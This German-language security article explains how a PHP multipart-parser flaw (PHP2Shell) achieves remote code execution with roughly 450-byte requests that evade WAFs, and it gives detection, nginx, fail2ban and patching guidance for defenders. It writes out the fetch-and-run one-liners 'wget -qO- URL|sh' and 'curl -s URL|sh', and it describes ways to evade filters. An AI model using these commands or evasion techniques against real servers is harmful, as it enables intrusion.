vulnerabilities php2shell exploit payload

Unter 500 Byte: Wie PHP2Shell die Body-Inspektion klassischer WAFs umgeht

php2shell.run Research Lab •

Unter 500 Byte: Wie PHP2Shell die Body-Inspektion klassischer WAFs umgeht

<time datetime="2026-10-23">Geprüft am 23. Oktober 2026</time>

Die Analyse realer Angriffsdaten zu CVE-2026-109618 und CVE-2026-109619 zeigt ein wiederkehrendes Muster: Vollständige Remote Code Execution gelingt häufig mit einem HTTP-Body von 450 bis 500 Byte. Damit werden zwei verbreitete Annahmen widerlegt. Erstens, dass große POST-Bodies das Hauptrisiko darstellen. Zweitens, dass eine WAF mit ausreichend großen Inspektionsfenstern automatisch schützt. Kleine Payloads rutschen nicht nur durch Größenlimits; sie sind auch schwerer zu erkennen, weil sie sich in den Normalverkehr einbetten.


1. Warum der Payload so klein bleibt

  1. Die Schwachstelle liegt in der Engine: Der Angreifer muss keinen Shellcode einschleusen. PHP besitzt bereits einen Codepfad, der system() erreichen kann; manipuliert werden nur Zeiger und Längenfelder.
  2. Session-Dateien übernehmen die Arbeit: Fortschrittsdaten werden in der Session gespeichert. Der Angreifer kontrolliert die Session-ID, nicht den gesamten Nutzdatenstrom.
  3. Multipart-Header sind wiederverwendbar: Content-Type, boundary und Content-Disposition bilden einen festen Overhead; die eigentlichen Angriffsdaten bleiben im zweistelligen Bytebereich.
  4. Kurze Shell-Einzeiler genügen: wget -qO- URL|sh oder curl -s URL|sh sind wenige Dutzend Byte lang. Weitere Werkzeuge werden erst nach erfolgreicher Ausführung nachgeladen.

Hinzu kommt, dass der Angreifer den Body bewusst klein hält, um Inspektionsschwellen zu unterschreiten. Viele WAF-Regelsätze prüfen zuerst große oder auffällige Requests und behandeln kleine Multipart-Requests als geringes Risiko.


2. Konzeptionelles Layout eines 450-Byte-Payloads

Die folgende Darstellung ist eine rekonstruierte, defensiv verwendbare Skizze. Sie enthält keinen funktionsfähigen Exploit.

POST /index.php HTTP/1.1                  ~ 38 Byte
Host: victim.example                      ~ 24 Byte
Content-Type: multipart/form-data;
  boundary=----x                            ~ 58 Byte
Content-Length: 3xx                       ~ 20 Byte
Connection: keep-alive                    ~ 22 Byte
                                          ~ 4 Byte
------x                                   ~ 8 Byte
Content-Disposition: form-data;
  name="PHP_SESSION_UPLOAD_PROGRESS"      ~ 66 Byte
                                          ~ 2 Byte
<Session-ID und Fortschrittswerte>        ~ 40 Byte
------x                                   ~ 8 Byte
Content-Disposition: form-data;
  name="f"; filename="a"                  ~ 52 Byte
Content-Type: application/octet-stream    ~ 38 Byte
                                          ~ 2 Byte
<Fake-zval- und Grooming-Bytes>           ~ 96 Byte
------x--                                 ~ 10 Byte

Entscheidend sind der Feldname PHP_SESSION_UPLOAD_PROGRESS und die Boundary. Alles andere dient dazu, die Allokation in die passende Größenklasse zu lenken und den freigegebenen Slot zu belegen.


3. Warum klassische WAF-Regeln scheitern

Irrtum 1: „Wir blockieren große POST-Requests“

Längenbasierte Regeln lassen 450-Byte-Requests passieren. Der Angreifer profitiert sogar davon: Je kleiner der Body, desto geringer die Wahrscheinlichkeit, dass eine teure Inspektion ausgelöst wird.

Irrtum 2: „Unser Endpunkt akzeptiert keine Uploads“

Der Multipart-Parser läuft vor dem Routing. /login, /api/v1/health und nicht existierende Pfade werden gleichermaßen geparst. Die Anwendungsroute ist für den Angriff irrelevant.

Irrtum 3: „Input-Validierung schützt uns“

Validierung findet in PHP-Benutzercode statt. Die Schwachstelle wird ausgelöst, bevor dieser Code läuft. filter_input, htmlspecialchars und Parameter-Binding kommen zu spät.

Irrtum 4: „Eine Regex auf den Feldnamen reicht“

Feldnamen lassen sich in Groß-/Kleinschreibung variieren, prozentkodieren oder über Header aufteilen. Der RFC1867-Parser normalisiert diese Varianten, während einfache String-Matching-Regeln daran scheitern. Hinzu kommen Chunked Transfer Encoding und unterschiedliche Boundary-Formate, die eine Signatur schnell unbrauchbar machen.

Irrtum 5: „TLS-Inspektion deckt den Inhalt auf“

Auch mit entschlüsseltem Traffic bleibt die Herausforderung, einen harmlos aussehenden Multipart-Request von einem Angriff zu unterscheiden. Ohne Kenntnis der Session-Semantik und der Worker-Historie ist die Einzeltransaktion nicht eindeutig.


4. Zwei-Request-Synchronisation

In der Praxis beobachten Incident-Response-Teams selten einen einzelnen Request. Häufig werden zwei Ströme synchronisiert.

[ Request A: Heap-Grooming ]          [ Request B: Trigger ]
multipart + umfangreiches Padding     Session-Reset erzwingen
→ Bin-Zustand ausrichten              → Dangling Pointer wiederverwenden
        │                                      │
        └──────────── Zeitliche Nähe ──────────┘
                                               ▼
                                    Fake-zval überschreiben
                                               ▼
                                    vtable → system()

Je kleiner der FPM-Pool, desto wahrscheinlicher landen beide Requests im selben Worker. Ein großer Pool mit hoher Fluktuation senkt die Erfolgsrate, erhöht aber den Ressourcenverbrauch. Die Wahl der Poolgröße ist damit auch eine Sicherheitsentscheidung.


5. Erkennung und Gegenmaßnahmen

5.1 Verdächtige Requests finden

# Multipart-Requests mit auffällig kleinen Bodies und Wiederholungsmuster
sudo awk '$0 ~ /multipart\/form-data/ {print}' /var/log/nginx/access.log | \
  awk '{print $1, $7, $9, $10}' | sort | uniq -c | sort -rn | head -30

5.2 Nginx als ergänzende Schicht

# In Bereichen ohne Upload-Funktion multipart grundsätzlich ablehnen
location /api/ {
    if ($http_content_type ~* "multipart/form-data") {
        return 415;
    }
    client_max_body_size 256k;
    include fastcgi_params;
    fastcgi_pass unix:/run/php/php8.3-fpm.sock;
}

5.3 Fail2ban

# /etc/fail2ban/filter.d/php2shell.conf
[Definition]
failregex = ^<HOST> .* "POST [^"]*" (200|404|413) .*multipart/form-data
ignoreregex =
# /etc/fail2ban/jail.d/php2shell.local
[php2shell]
enabled = true
filter = php2shell
logpath = /var/log/nginx/access.log
maxretry = 20
findtime = 60
bantime = 3600

Häufigkeitsbasierte Sperren erzeugen Fehlalarme bei legitimen Uploads. Weißlisten Sie bekannte Pfade und Kundennetze, bevor Sie den Filter scharf schalten.

5.4 Die eigentliche Reparatur

Alle Perimeter-Maßnahmen sind temporär. Die dauerhafte Lösung ist der Patch auf 8.5.12, 8.4.27, 8.3.36 oder 8.2.35 – beziehungsweise die Deaktivierung des Callbacks:

session.upload_progress.enabled = Off
php -r 'var_dump(ini_get("session.upload_progress.enabled"));'
php -v

6. Lehren für Red und Blue Team

  • Payload-Größe ist kein Sicherheitsindikator. Ein 450-Byte-Request kann gefährlicher sein als ein 4-MB-Upload.
  • Parser-Ebenen gehören zur Angriffsfläche. Routing, Authentifizierung und Framework-Middleware liegen zu hoch.
  • WAFs kaufen Zeit, keine Sicherheit. Gegen kompakte, normalisierte Multipart-Payloads sind sie strukturell im Nachteil.
  • Nur der Patch beseitigt die Ursache. Alles andere reduziert die Erfolgswahrscheinlichkeit oder die Auswirkungen.

7. Multipart-Parser im Detail

Der RFC1867-Parser arbeitet zustandsbehaftet. Er liest die Boundary aus dem Content-Type, scannt den Body nach Trennsequenzen und übergibt jedes gefundene Feld an registrierte Callbacks. Wichtig ist die Reihenfolge: MULTIPART_EVENT_START wird ausgelöst, sobald der Header erkannt wurde, noch bevor der erste Feldinhalt vollständig vorliegt. Danach folgen Ereignisse pro Datenblock und schließlich MULTIPART_EVENT_END.

Für PHP2Shell ist diese Reihenfolge entscheidend. Der verwundbare Zustand entsteht während des Streamings, nicht erst beim Abschluss des Requests. Ein Angreifer muss also keinen vollständigen, wohlgeformten Body liefern. Es genügt, den Parser in die richtige Phase zu bringen und dann gezielt abzubrechen oder umzuleiten. Genau deshalb sind Schutzmaßnahmen, die erst nach vollständiger Body-Inspektion greifen, strukturell zu spät.

Ein weiterer Punkt ist die Behandlung doppelter Feldnamen. Der Parser akzeptiert mehrere Felder mit demselben Namen und legt sie in einer Struktur ab. Wird ein Feldname mehrfach mit unterschiedlichen Werten gesendet, kann die Reihenfolge der Verarbeitung Einfluss auf den resultierenden Zustand haben. WAFs, die nur den ersten oder letzten Treffer prüfen, sehen unter Umständen nicht den entscheidenden Wert. Blue Teams sollten deshalb bei der Auswertung den gesamten Multipart-Baum betrachten und nicht nur die erste Occurrence eines Namens.

Die Boundary selbst ist ein weiterer blinder Fleck. Sie darf laut Spezifikation bis zu 70 Zeichen lang sein und Sonderzeichen enthalten. Viele Signatur-Engines normalisieren sie nicht konsistent. Ein Angreifer kann die Boundary so wählen, dass sie wie ein Teil eines anderen Headers aussieht oder die Inspektionslogik in die Irre führt. Für die Erkennung ist es daher robuster, auf die Kombination aus multipart/form-data, PHP_SESSION_UPLOAD_PROGRESS und einem kleinen Body zu achten, als auf eine bestimmte Boundary-Form.


8. Telemetrie richtig auswerten

Rohlogs allein reichen nicht. Sinnvoll ist eine Aggregation über kurze Zeitfenster: Quell-IP, Zielpfad, Statuscode, Content-Type und Body-Größe. Ein einzelner 415-Response ist harmlos; zwanzig davon innerhalb einer Minute von derselben IP sind ein Signal. Kombinieren Sie das mit Worker-Neustarts und ausgehenden Verbindungen. So entsteht ein Muster, das Fehlalarme reduziert und die Priorisierung im SOC erleichtert. Dokumentieren Sie die Schwellenwerte und überprüfen Sie sie regelmäßig, denn Angreifer passen ihre Rate an erkannte Limits an.


9. FAQ

F1: Funktioniert der Angriff auch gegen einen 404-Endpunkt? Ja. Das Multipart-Parsing beginnt vor dem Routing; auch ein 404-Handler ist exponiert.

F2: Warum helfen Regex-Signaturen nicht? Feldnamen und Boundaries lassen sich kodieren, aufteilen und variieren. Der Parser normalisiert sie, simple String-Matches nicht. Zusätzlich fehlt die Größe als billiges Filterkriterium.

F3: Wie prüfe ich den schnellsten Weg zur Sicherheit? Zuerst php -r 'var_dump(ini_get("session.upload_progress.enabled"));', dann php -v und der Paketstand. Wenn die Version unter den genannten Mindestversionen liegt, deaktivieren Sie den Callback sofort und planen Sie das Upgrade.

F4: Reicht es, client_max_body_size zu senken? Nein. Ein 450-Byte-Payload liegt unter jeder realistischen Grenze. Die Größenbeschränkung schützt gegen andere Angriffe, nicht gegen PHP2Shell.